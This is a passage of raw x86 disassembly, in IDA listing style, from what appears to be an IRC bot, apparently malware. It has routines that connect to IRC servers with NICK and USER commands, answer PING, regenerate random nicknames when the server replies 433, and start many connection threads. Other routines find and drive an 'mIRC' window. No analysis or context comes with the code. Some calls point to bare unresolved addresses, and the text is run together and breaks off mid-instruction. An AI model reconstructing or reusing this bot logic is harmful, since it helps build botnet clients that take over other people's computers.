sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D4004 push eax call dword_4D3DE4 push [ebp+var_4] mov edi, offset dword_4D3DF0 push offset dword_4D2DE0 push offset dword_4D35E0 push [ebp+arg_0] push offset dword_437B4C push 200h push edi call sub_41B980 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 2780000h mov eax, edi pop edi pop esi leave retn sub_417552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175E9 proc near ; CODE XREF: sub_416F1A:loc_417056p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D3FF8 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call near ptr 2790B6Ah nop push eax nop call near ptr 2790000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D35E0 mov edi, 200h mov esi, offset dword_4D2BE0 loc_41762F: ; CODE XREF: sub_4175E9+FAj mov eax, dword_4D3FF8 add eax, eax push eax push dword_4D4000 push [ebp+var_14] call sub_41C310 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D3DE4 mov eax, dword_4D3FF8 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4176A4 loc_41766C: ; CODE XREF: sub_4175E9+B3j cmp [ebp+var_8], 0 jz short loc_4176C1 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417690 cmp byte ptr [ecx+1], 0 jnz short loc_417690 cmp dl, 20h jnb short loc_41768A and [ebp+var_8], 0 loc_41768A: ; CODE XREF: sub_4175E9+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417694 loc_417690: ; CODE XREF: sub_4175E9+90j ; sub_4175E9+96j and [ebp+var_8], 0 loc_417694: ; CODE XREF: sub_4175E9+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_41766C cmp [ebp+var_8], 0 jz short loc_4176C1 loc_4176A4: ; CODE XREF: sub_4175E9+81j push [ebp+var_14] push offset dword_4D2DE0 push ebx push [ebp+arg_0] push offset dword_437B4C push edi push esi call sub_41B980 add esp, 1Ch jmp short loc_4176D9 ; --------------------------------------------------------------------------- loc_4176C1: ; CODE XREF: sub_4175E9+87j ; sub_4175E9+B9j push offset dword_4D2DE0 push ebx push [ebp+arg_0] push offset dword_437B9C push edi push esi call sub_41B980 add esp, 18h loc_4176D9: ; CODE XREF: sub_4175E9+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_41762F push [ebp+var_14] push 0 call near ptr 2790B6Ah nop push eax call near ptr 2780000h nop mov eax, esi pop edi pop esi pop ebx leave retn sub_4175E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417702 proc near ; CODE XREF: sub_4178BA+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CAFF4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41777E push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAF74 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFB4 cmp eax, esi jnz short loc_417763 push [ebp+arg_0] call dword_4CAFF8 test eax, eax jz short loc_41777E mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417763: ; CODE XREF: sub_417702+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF1C cmp eax, esi jnz short loc_417782 push edi call dword_4CB00C loc_41777E: ; CODE XREF: sub_417702+1Bj ; sub_417702+58j mov eax, esi jmp short loc_417784 ; --------------------------------------------------------------------------- loc_417782: ; CODE XREF: sub_417702+73j mov eax, edi loc_417784: ; CODE XREF: sub_417702+7Ej pop edi pop esi leave retn sub_417702 endp ; =============== S U B R O U T I N E ======================================= sub_417788 proc near ; CODE XREF: sub_401ACD+3294p ; sub_401ACD+3300p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_429998 ; "\n" push edi call sub_41BEC0 pop ecx mov esi, offset dword_4D400C pop ecx loc_4177A0: ; CODE XREF: sub_417788+42j cmp dword ptr [esi-4], 1 jnz short loc_4177BE cmp dword ptr [esi], 0 jbe short loc_4177BE push 0 push edi call sub_41AFE0 pop ecx push eax push edi push dword ptr [esi] call dword_4CAFC4 loc_4177BE: ; CODE XREF: sub_417788+1Cj ; sub_417788+21j add esi, 210h cmp esi, offset dword_4DA72C jl short loc_4177A0 pop edi pop esi retn sub_417788 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177CF proc near ; CODE XREF: sub_4178BA+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CA2C ; " " push edi push esi push [ebp+arg_0] call sub_41C0F4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_4177F4: ; CODE XREF: sub_4177CF+35j push esi push 0 call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_4177F4 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_41781C cmp esi, edi jnz short loc_41781C push 1 pop eax jmp loc_4178B5 ; --------------------------------------------------------------------------- loc_41781C: ; CODE XREF: sub_4177CF+3Fj ; sub_4177CF+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C070 pop ecx pop ecx test eax, eax push esi jnz short loc_417837 push offset dword_4387B4 jmp short loc_417885 ; --------------------------------------------------------------------------- loc_417837: ; CODE XREF: sub_4177CF+5Fj push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_417858 push esi push offset dword_4387B0 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4178B3 loc_417858: ; CODE XREF: sub_4177CF+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41B590 lea eax, [ebp+var_420] push eax call sub_417ADD add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_4387A4 loc_417885: ; CODE XREF: sub_4177CF+66j lea eax, [ebp+var_220] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CAFC4 loc_4178B3: ; CODE XREF: sub_4177CF+87j xor eax, eax loc_4178B5: ; CODE XREF: sub_4177CF+48j pop edi pop esi pop ebx leave retn sub_4177CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178BA proc near ; DATA XREF: sub_417A5F+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41BB20 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4014[esi] mov dword_4D4008[esi], edi push dword_4D4214[esi] push eax call sub_417702 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D400C[esi], eax jb loc_417A3F mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41B590 lea eax, [ebp+var_2008] push eax call sub_417ADD lea eax, [ebp+var_4008] push eax call sub_417ADD lea eax, [ebp+var_3008] push eax call sub_417ADD add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D400C[esi] call dword_4CAFC4 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch loc_417996: ; CODE XREF: sub_4178BA+111j ; sub_4178BA+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D400C[esi] call dword_4CAF8C cmp eax, ebx mov [ebp+var_8], eax jle short loc_417A3F xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417996 loc_4179CD: ; CODE XREF: sub_4178BA+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_4179F4 cmp al, 0Ah jz short loc_4179F4 cmp [ebp+arg_0], 0FA0h jz short loc_4179F4 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417A2E ; --------------------------------------------------------------------------- loc_4179F4: ; CODE XREF: sub_4178BA+11Cj ; sub_4178BA+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417A2E push dword_4D400C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_4177CF pop ecx test eax, eax pop ecx ja short loc_417A3F push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+arg_0], ebx loc_417A2E: ; CODE XREF: sub_4178BA+138j ; sub_4178BA+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_4179CD jmp loc_417996 ; --------------------------------------------------------------------------- loc_417A3F: ; CODE XREF: sub_4178BA+40j ; sub_4178BA+107j ... mov dword_4D4008[esi], ebx mov esi, dword_4D400C[esi] cmp esi, ebx jbe short loc_417A56 push esi call dword_4CB00C loc_417A56: ; CODE XREF: sub_4178BA+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4178BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A5F proc near ; CODE XREF: sub_401ACD+31E1p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417AD8 loc_417A71: ; CODE XREF: sub_417A5F+77j xor edi, edi mov eax, offset dword_4D4008 loc_417A78: ; CODE XREF: sub_417A5F+28j cmp [eax], ebx jz short loc_417A89 add eax, 210h inc edi cmp eax, offset dword_4DA728 jl short loc_417A78 loc_417A89: ; CODE XREF: sub_417A5F+1Bj cmp edi, 31h jz short loc_417AD8 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D4014[esi] push eax call sub_41BEB0 mov eax, [ebp+arg_4] pop ecx mov dword_4D4214[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4008[esi], 1 push eax push ebx push edi push offset sub_4178BA push ebx push ebx call near ptr 266051Eh nop inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417A71 loc_417AD8: ; CODE XREF: sub_417A5F+10j ; sub_417A5F+2Dj pop edi pop esi pop ebx leave retn sub_417A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ADD proc near ; CODE XREF: sub_401ACD+374Dp ; sub_401ACD+3793p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 add esp, 0Ch call sub_41B8E2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F8 call sub_41C798 cmp eax, 1 jnz short loc_417B27 call sub_41B8E2 call sub_41B8E2 push 66h cdq pop ecx idiv ecx push off_437EF0[edx*4] jmp short loc_417B40 ; --------------------------------------------------------------------------- loc_417B27: ; CODE XREF: sub_417ADD+2Fj call sub_41B8E2 call sub_41B8E2 cdq mov ecx, 0C0h idiv ecx push off_437BF0[edx*4] loc_417B40: ; CODE XREF: sub_417ADD+48j lea eax, [ebp+var_2C] push eax call sub_41BEB0 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41AFE0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 call sub_41C798 mov ebx, eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417BB3 cmp esi, 3 jnz short loc_417BAA cmp ebx, 1 jz short loc_417BB3 loc_417BAA: ; CODE XREF: sub_417ADD+C6j cmp eax, 1 jnz loc_417C6D loc_417BB3: ; CODE XREF: sub_417ADD+C1j ; sub_417ADD+CBj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E0 call sub_41C798 push off_437EF0[eax*4] lea eax, [ebp+var_40] push eax call sub_41BEB0 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41BFB0 add esp, 10h test eax, eax jnz short loc_417C5A movsx eax, [ebp+var_40] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_417C5A call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417C5A push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417C5A: ; CODE XREF: sub_417ADD+111j ; sub_417ADD+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C1E0 add esp, 0Ch loc_417C6D: ; CODE XREF: sub_417ADD+D0j lea eax, [ebp+var_2C] push eax call sub_41AFE0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41D648 pop ecx test eax, eax pop ecx jnz loc_417ED5 and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz loc_417DCC call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp esi, 3 jz short loc_417CDB cmp eax, 1 jnz loc_417DCC loc_417CDB: ; CODE XREF: sub_417ADD+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_417D1D push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_417D39 ; --------------------------------------------------------------------------- loc_417D1D: ; CODE XREF: sub_417ADD+207j call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebx], cl loc_417D39: ; CODE XREF: sub_417ADD+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 cmp esi, 3 jz short loc_417D62 cmp eax, ebx jnz short loc_417DCC loc_417D62: ; CODE XREF: sub_417ADD+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_417DA7 push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_417DC5 ; --------------------------------------------------------------------------- loc_417DA7: ; CODE XREF: sub_417ADD+28Fj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_417DC5: ; CODE XREF: sub_417ADD+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_417DCC: ; CODE XREF: sub_417ADD+1C9j ; sub_417ADD+1F8j ... cmp esi, 6 jge loc_417E55 cmp esi, 5 jge short loc_417DED call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 jmp short loc_417E0B ; --------------------------------------------------------------------------- loc_417DED: ; CODE XREF: sub_417ADD+2FBj call sub_41B8E2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 loc_417E0B: ; CODE XREF: sub_417ADD+30Ej call sub_41C798 test eax, eax jnz short loc_417E2E call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h jmp short loc_417E4B ; --------------------------------------------------------------------------- loc_417E2E: ; CODE XREF: sub_417ADD+335j cmp eax, 1 jnz short loc_417E55 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h loc_417E4B: ; CODE XREF: sub_417ADD+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_417E55: ; CODE XREF: sub_417ADD+2F2j ; sub_417ADD+354j cmp [ebp+var_C], 2 jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 cmp [ebp+var_C], eax jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_417ED5: ; CODE XREF: sub_417ADD+1B1j ; sub_417ADD+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41B5F0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EEE proc near ; CODE XREF: sub_401ACD+BEBp ; sub_401ACD+C28p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_417F79 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_417F79 cmp [ebp+arg_8], esi jz short loc_417F79 cmp byte ptr [eax], 0 jz short loc_417F79 push ebx push edi call sub_426464 mov ebx, eax pop ecx test ebx, ebx jz short loc_417F74 push [ebp+arg_4] push edi call sub_41B900 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_417F6D sub eax, edi push eax push edi push ebx call sub_41B5F0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41AFE0 push eax push [ebp+arg_8] push ebx call sub_41C1E0 push [ebp+arg_4] call sub_41AFE0 add eax, esi push eax push ebx call sub_41BEC0 push ebx push edi call sub_41BEB0 add esp, 30h mov esi, edi loc_417F6D: ; CODE XREF: sub_417EEE+3Cj push ebx call sub_41B0B1 pop ecx loc_417F74: ; CODE XREF: sub_417EEE+2Bj mov eax, esi pop ebx jmp short loc_417F7B ; --------------------------------------------------------------------------- loc_417F79: ; CODE XREF: sub_417EEE+Cj ; sub_417EEE+13j ... xor eax, eax loc_417F7B: ; CODE XREF: sub_417EEE+89j pop edi pop esi pop ebp retn sub_417EEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F7F proc near ; CODE XREF: sub_401955+E9p ; ___:004102F0p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41B590 mov esi, [ebp+arg_0] push esi call sub_41AFE0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_417FB5 or eax, 0FFFFFFFFh jmp short loc_418028 ; --------------------------------------------------------------------------- loc_417FB5: ; CODE XREF: sub_417F7F+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_417FD7 loc_417FC1: ; CODE XREF: sub_417F7F+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_417FCE cmp dl, 0Dh jnz short loc_417FD2 loc_417FCE: ; CODE XREF: sub_417F7F+48j and byte ptr [ecx+esi], 0 loc_417FD2: ; CODE XREF: sub_417F7F+4Dj inc ecx cmp ecx, eax jl short loc_417FC1 loc_417FD7: ; CODE XREF: sub_417F7F+40j xor edx, edx push edi test eax, eax jle short loc_418008 lea edi, [ebp+var_7CC] loc_417FE4: ; CODE XREF: sub_417F7F+87j cmp byte ptr [edx+esi], 0 jnz short loc_418003 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418003 cmp ebx, 1F4h jge short loc_418008 mov [edi], ecx inc ebx add edi, 4 loc_418003: ; CODE XREF: sub_417F7F+69j ; sub_417F7F+74j inc edx cmp edx, eax jl short loc_417FE4 loc_418008: ; CODE XREF: sub_417F7F+5Dj ; sub_417F7F+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418026 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41C310 add esp, 0Ch loc_418026: ; CODE XREF: sub_417F7F+8Ej mov eax, ebx loc_418028: ; CODE XREF: sub_417F7F+34j pop esi pop ebx leave retn sub_417F7F endp ; =============== S U B R O U T I N E ======================================= sub_41802C proc near ; CODE XREF: sub_418086+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418065 push ebx mov ebx, edi loc_418049: ; CODE XREF: sub_41802C+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418068 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418049 pop ebx loc_418065: ; CODE XREF: sub_41802C+18j pop edi pop esi retn sub_41802C endp ; =============== S U B R O U T I N E ======================================= sub_418068 proc near ; CODE XREF: sub_41802C+25p ; sub_418086+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41D74C cmp al, 61h pop ecx jl short loc_418083 cmp al, 7Ah jg short loc_418083 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418083: ; CODE XREF: sub_418068+Ej ; sub_418068+12j xor eax, eax retn sub_418068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418086 proc near ; CODE XREF: ___:0041532Dp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41BB20 push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41AFE0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41802C add esp, 14h dec esi mov edi, esi loc_4180C4: ; CODE XREF: sub_418086+B6j test esi, esi jle short loc_418142 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41D74C pop ecx cmp eax, ebx pop ecx jz short loc_41813A loc_4180EA: ; CODE XREF: sub_418086+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418068 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_41810B mov eax, ecx loc_41810B: ; CODE XREF: sub_418086+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41813E mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41D74C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4180EA loc_41813A: ; CODE XREF: sub_418086+62j dec edi dec esi jmp short loc_4180C4 ; --------------------------------------------------------------------------- loc_41813E: ; CODE XREF: sub_418086+8Aj xor eax, eax jmp short loc_418147 ; --------------------------------------------------------------------------- loc_418142: ; CODE XREF: sub_418086+40j mov eax, [ebp+arg_0] add eax, edi loc_418147: ; CODE XREF: sub_418086+BAj pop edi pop esi pop ebx leave retn sub_418086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41814C proc near ; CODE XREF: sub_401ACD+67A3p ; sub_401ACD+789Ep var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 2660DCFh mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 27B0000h lea eax, [ebp+var_100] loc_418185: ; CODE XREF: sub_41814C+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418191 cmp cl, 9 jnz short loc_418194 loc_418191: ; CODE XREF: sub_41814C+3Ej inc eax jmp short loc_418185 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_41814C+43j ; sub_41814C+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4181AE mov cl, [eax] cmp cl, 2Eh jz short loc_418194 cmp cl, 21h jl short loc_418194 loc_4181AE: ; CODE XREF: sub_41814C+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DA72C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41B980 add esp, 18h mov eax, esi pop esi leave retn sub_41814C endp ; =============== S U B R O U T I N E ======================================= sub_4181D6 proc near ; CODE XREF: sub_401ACD+24CAp push esi push 0 call dword_4CAF44 test eax, eax jz short loc_41820D push 1 call dword_4CAF64 mov esi, eax test esi, esi jz short loc_41820D push edi push esi nop call near ptr 27B1640h push esi mov edi, eax call near ptr 27B1002h nop call dword_4CAFC8 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41820D: ; CODE XREF: sub_4181D6+Bj ; sub_4181D6+19j xor eax, eax pop esi retn sub_4181D6 endp ; =============== S U B R O U T I N E ======================================= sub_418211 proc near ; CODE XREF: sub_401ACD+7661p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CAF80 mov ebp, eax cmp ebp, esi jz short loc_41828D push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call near ptr 27C05CCh nop push esi push esi mov edi, eax push esi push 0F001Fh push edi call near ptr 27C03EBh nop push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41B886 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CAFD0 push esi push 1 push 4C9h push ebp call dword_4CAFD0 push ebx nop call near ptr 27C0000h push edi call near 